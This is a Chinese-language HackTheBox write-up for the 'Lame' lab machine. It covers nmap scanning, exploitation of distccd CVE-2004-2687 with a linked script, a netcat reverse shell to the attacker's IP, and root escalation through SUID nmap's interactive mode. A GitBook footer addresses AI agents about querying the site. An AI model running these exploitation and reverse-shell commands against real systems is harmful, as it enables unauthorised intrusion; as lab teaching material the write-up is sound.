> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# Lame HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**技能：**

* 利用 3632 端口 - distcc（CVE-2004-2687）
* 滥用 SUID Nmap（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/269db8252a3ccd79c35b928cc1aa4c9279eb29ca" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/998f29b846d18c603ecd67f4de61df4f4fb8acfe" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="/files/9abdd586ba88bc9f72df221f9f106eeed5727c0c" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/1c05141cd28ae11aed9e9f4aecdda810a3f7ca6b" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="/files/0527b9e29d45a5253a08089fb0bde033dce7ffaa" alt=""><figcaption></figcaption></figure>

### 3632 端口 - distccd

> Distcc 是一种工具，通过利用网络上其他计算机未使用的资源来加速编译过程。在一台机器上配置后，它可以将编译任务分配给运行 distccd 守护进程且具有兼容编译器的其他系统。

#### 已识别漏洞

distccd 4.2.4 版本监听 3632 端口，并且存在 CVE-2004-2687 漏洞。该漏洞允许攻击者以守护进程运行所使用的用户权限执行任意命令（通常是低权限用户，但这可能会因配置而异）。

#### 漏洞检查

为了确认该漏洞是否存在，我们使用以下 Nmap 脚本：

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

结果表明该服务器确实存在漏洞。

<figure><img src="/files/c4987b4836ecfad620f9674805135c70a7c28bf5" alt=""><figcaption></figcaption></figure>

### 利用

#### 运行 Python 脚本

为了利用该漏洞，我们使用以下 Python 脚本：

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

这使我们能够在目标机器上执行任意命令。

<figure><img src="/files/4b4649d73d0b52bb61c1a555032c918156273051" alt=""><figcaption></figcaption></figure>

#### 运行反向 Shell

我们监听 443 端口：

```bash
nc -nlvp 443
```

我们在目标机器上运行以下命令来建立连接：

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/c85e1118912074ae79ab0f0c75eb8beef4381bd8" alt=""><figcaption></figcaption></figure>

#### 终端处理

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/cce9efcf79b4ad0580c7d8463d4f2f1787300ef8" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUID - Nmap

#### 查找 SUID 文件

我们使用以下命令搜索启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/d23eae5d1ffa23ee8c802373d540f25f77cfc298" alt=""><figcaption></figcaption></figure>

#### Nmap 识别

在列出的文件中，我们发现 **Nmap**.

#### 利用

Nmap 可以以交互方式用于以 root 身份运行命令。步骤如下：

以交互模式启动 Nmap：

```bash
nmap --interactive
```

以 root 身份运行命令，例如：

```bash
!whoami
```

这会输出“root”。

<figure><img src="/files/b6d2fd4a88bdd536696c6399d2c65d15bdf04912" alt="" width="563"><figcaption></figcaption></figure>

获取 root shell：

```bash
!sh
```

进入 root shell 后，访问 **root.txt** 用于获取 flag 的文件。

<figure><img src="/files/20b52643af54fc4d360dc2d24ad5a471da1c2e64" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a93b7c5d9ada748ed597f21d272da79c5387ae32" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
